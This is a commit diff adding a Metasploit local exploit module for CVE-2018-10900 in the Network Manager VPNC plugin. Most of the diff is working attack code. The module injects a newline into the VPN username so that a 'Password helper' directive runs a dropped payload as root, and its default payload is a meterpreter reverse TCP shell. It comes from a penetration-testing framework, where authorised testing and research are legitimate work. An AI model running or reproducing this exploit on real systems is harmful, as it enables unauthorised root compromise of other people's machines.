Add Network Manager VPNC Username Privilege Escalation module
parent
219668caae
commit
cd48e2fb8f
|
@ -0,0 +1,148 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Network Manager VPNC Username Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits an injection vulnerability in the Network Manager
|
||||
VPNC plugin to gain root privileges.
|
||||
|
||||
This module uses a new line injection vulnerability in the configured
|
||||
username for a VPN network connection to inject a `Password helper`
|
||||
configuration directive into the connection configuration.
|
||||
|
||||
The specified helper is executed by Network Manager as root when the
|
||||
connection is started.
|
||||
|
||||
Network Manager VPNC versions prior to 1.2.6 are vulnerable.
|
||||
|
||||
This module has been tested successfully with VPNC versions:
|
||||
1.2.4-4 on Debian 9.0.0 (x64); and
|
||||
1.1.93-1 on Ubuntu Linux 16.04.4 (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Andzakovic', # Discovery and exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Jul 26 2018',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-10900'],
|
||||
['URL', 'http://seclists.org/oss-sec/2018/q3/51'],
|
||||
['URL', 'https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc'],
|
||||
['URL', 'https://gitlab.gnome.org/GNOME/NetworkManager-vpnc/commit/07ac18a32b4'],
|
||||
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-10900'],
|
||||
['URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10900.html'],
|
||||
['URL', 'https://launchpad.net/ubuntu/+source/network-manager-vpnc/0.9.8.6-1ubuntu2.1'],
|
||||
['URL', 'https://www.debian.org/security/2018/dsa-4253'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1605919'],
|
||||
['URL', 'https://bugzilla.novell.com/show_bug.cgi?id=1101147']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [['Auto', {}]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
||||
'WfsDelay' => 10,
|
||||
'PrependFork' => true
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def check
|
||||
unless command_exists? 'nmcli'
|
||||
vprint_error 'Network Manager nmcli utility is not installed'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'nmcli utility is installed'
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
if check != CheckCode::Detected
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
@payload_name = ".#{rand_text_alphanumeric rand(10..15)}"
|
||||
payload_path = "#{base_dir}/#{@payload_name}"
|
||||
|
||||
print_status 'Adding VPN connection...'
|
||||
vpn_data = []
|
||||
vpn_data << '+vpn.data "IKE DH Group = dh2"'
|
||||
vpn_data << "+vpn.data 'IPSec ID = #{rand_text_alphanumeric 5..10}'"
|
||||
vpn_data << '+vpn.data "IPSec gateway = 127.0.0.1"'
|
||||
vpn_data << '+vpn.data "IPSec secret-flags = 4"'
|
||||
vpn_data << '+vpn.data "Local Port = 0"'
|
||||
vpn_data << '+vpn.data "NAT Traversal Mode = natt"'
|
||||
vpn_data << '+vpn.data "Perfect Forward Secrecy = server"'
|
||||
vpn_data << '+vpn.data "Vendor = cisco"'
|
||||
vpn_data << '+vpn.data "Xauth password-flags = 4"'
|
||||
vpn_data << "+vpn.data \"Xauth username = #{rand_text_alphanumeric 5..10}\nPassword helper #{payload_path}\""
|
||||
vpn_data << "+vpn.data 'ipsec-secret-type = #{rand_text_alphanumeric 5..10}'"
|
||||
vpn_data << "+vpn.data 'xauth-password-type = #{rand_text_alphanumeric 5..10}'"
|
||||
res = cmd_exec "nmcli connection add con-name #{@payload_name} type vpn ifname '*' vpn-type vpnc -- #{vpn_data.join(' ')}"
|
||||
if res.include? 'Error'
|
||||
fail_with Failure::Unknown, 'Could not create VPN connection'
|
||||
end
|
||||
|
||||
res = cmd_exec 'nmcli connection'
|
||||
unless res.include? @payload_name
|
||||
fail_with Failure::Unknown, 'Could not create VPN connection'
|
||||
end
|
||||
|
||||
print_status 'Uploading payload...'
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
print_status 'Starting VPN connection...'
|
||||
cmd_exec "nmcli connection up #{@payload_name} & echo "
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status 'Removing VPN connection...'
|
||||
res = cmd_exec "nmcli connection delete #{@payload_name}"
|
||||
unless res.include? 'successfully deleted'
|
||||
print_warning "Could not remove VPN connection #{@payload_name}"
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue